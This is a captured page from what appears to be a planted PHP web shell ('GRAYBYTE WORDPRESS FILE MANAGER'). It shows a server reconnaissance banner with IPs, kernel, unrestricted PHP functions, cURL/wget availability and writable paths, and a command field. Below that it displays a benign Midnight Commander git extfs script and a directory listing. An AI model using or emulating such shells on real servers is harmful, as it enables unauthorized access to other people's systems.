GRAYBYTE WORDPRESS FILE MANAGER8581

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /usr/libexec/mc/extfs.d/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /usr/libexec/mc/extfs.d//changesetfs
#!/bin/sh

LANG=C
export LANG
LC_TIME=C
export LC_TIME

# --- GIT -----------------------------------------------------------------------

found_git_dir()
{
    work_dir=$1
    while [ -n "$work_dir" -a "$work_dir" != "/" ]; do
        [ -d "${work_dir}/.git" ] && {
            echo "${work_dir}/.git/"
            return
        }
        work_dir=`dirname "$work_dir"`
    done
    echo ''
}

changesetfs_list_git()
{
    WORK_DIR=$1; shift
    fname=$1; shift
    USER=$1; shift
    DATE=$1; shift

    GIT_DIR=`found_git_dir "$WORK_DIR"`
    [ -z "$GIT_DIR" ] && GIT_DIR=$WORK_DIR
    curr_year=`date +"%Y"`

    git --git-dir="$GIT_DIR" log --abbrev=7 --pretty="format:%at %h %an" -- "$fname" | while read TIMESTAMP chset author
    do
        year=`date -d @"$TIMESTAMP" +"%Y"`
        [ "$year" = "$curr_year" ] && {
            DATE=`date -d @"$TIMESTAMP" +"%b %d %H:%M"`
        } || {
            DATE=`date -d @"$TIMESTAMP" +"%b %d %Y"`
        }
        NAME="$chset $author"
        echo "-rw-rw-rw-   1 $USER    0 0 $DATE  $NAME `basename $fname`"
    done
}

changesetfs_copyout_git()
{
    WORK_DIR=$1; shift
    fname=$1; shift
    orig_fname=$1;shift
    output_fname=$1;shift

    chset=`echo "$orig_fname"| cut -f 1 -d " "`

    GIT_DIR=`found_git_dir "$WORK_DIR"`
    [ -z "$GIT_DIR" ] && GIT_DIR=$WORK_DIR

    filecommit=`git  --git-dir="$GIT_DIR" show --raw --pretty=tformat:%h "$chset" -- "$fname"| \
        tail -n1 | \
        sed 's@^::[0-9]*\s*[0-9]*\s*[0-9]*\s*@@' | \
        sed 's@^:[0-9]*\s*[0-9]*\s*@@' | \
        cut -d'.' -f 1`
    git  --git-dir="$GIT_DIR" show "$filecommit" > "$output_fname"
}

# --- COMMON --------------------------------------------------------------------

changesetfs_list()
{
    VCS_type=$1; shift
    WORK_DIR=$1; shift
    fname=$1; shift

    DATE=`date +"%b %d %H:%M"`
    USER=`whoami`

    case "$VCS_type" in
        git) changesetfs_list_git "$WORK_DIR" "$fname" "$USER" "$DATE" ;;
    esac
}

changesetfs_copyout()
{
    VCS_type=$1; shift
    WORK_DIR=$1; shift
    fname=$1; shift

    case "$VCS_type" in
        git) changesetfs_copyout_git "$WORK_DIR" "$fname" "$@" ;;
    esac

}

# --- MAIN ----------------------------------------------------------------------

command=$1; shift
tmp_file=$1; shift

WORK_DIR=`head -n1 $tmp_file`
fname=`tail -n2 $tmp_file | head -n1`
VCS_type=`tail -n1 $tmp_file`

case "$command" in
  list) changesetfs_list "$VCS_type" "$WORK_DIR" "$fname" ;;
  copyout) changesetfs_copyout "$VCS_type" "$WORK_DIR" "$fname" "$@" ;;
  *) exit 1 ;;
esac
exit 0

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
March 05 2024 23:20:28
root / root
0755
README
7.287 KB
March 04 2017 17:26:20
root / root
0644
README.extfs
1.107 KB
February 24 2017 20:25:57
root / root
0644
a+
3.131 KB
October 18 2019 20:37:56
root / root
0755
apt+
9.498 KB
October 18 2019 20:37:56
root / root
0755
audio
1.289 KB
October 18 2019 20:37:56
root / root
0755
bpp
1.179 KB
February 24 2017 20:25:57
root / root
0755
changesetfs
2.502 KB
February 24 2017 20:25:57
root / root
0755
deb
5.336 KB
October 18 2019 20:37:56
root / root
0755
deba
3.002 KB
October 18 2019 20:37:56
root / root
0755
debd
10.257 KB
October 18 2019 20:37:56
root / root
0755
dpkg+
8.787 KB
October 18 2019 20:37:56
root / root
0755
gitfs+
0.764 KB
February 24 2017 20:25:57
root / root
0755
hp48+
3.575 KB
October 18 2019 20:37:56
root / root
0755
iso9660
5.646 KB
October 18 2019 20:37:56
root / root
0755
lslR
1.377 KB
October 18 2019 20:37:56
root / root
0755
mailfs
5.586 KB
October 18 2019 20:37:56
root / root
0755
patchfs
10.885 KB
October 18 2019 20:37:56
root / root
0755
patchsetfs
2.256 KB
February 24 2017 20:25:57
root / root
0755
rpm
13.251 KB
March 04 2017 17:26:20
root / root
0755
rpms+
1.474 KB
October 18 2019 20:37:56
root / root
0755
trpm
7.652 KB
February 24 2017 20:25:57
root / root
0755
u7z
4.71 KB
March 04 2017 17:26:20
root / root
0755
uace
1.473 KB
October 18 2019 20:37:56
root / root
0755
ualz
1.25 KB
October 18 2019 20:37:56
root / root
0755
uar
1.292 KB
October 18 2019 20:37:56
root / root
0755
uarc
1.785 KB
October 18 2019 20:37:56
root / root
0755
uarj
1.616 KB
October 18 2019 20:37:56
root / root
0755
ucab
0.717 KB
October 18 2019 20:37:56
root / root
0755
uha
0.946 KB
October 18 2019 20:37:56
root / root
0755
ulha
3.779 KB
October 18 2019 20:37:56
root / root
0755
ulib
2.759 KB
October 18 2019 20:37:56
root / root
0755
urar
4.369 KB
October 18 2019 20:37:56
root / root
0755
uzip
14.903 KB
October 18 2019 20:37:56
root / root
0755
uzoo
1.563 KB
October 18 2019 20:37:56
root / root
0755

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF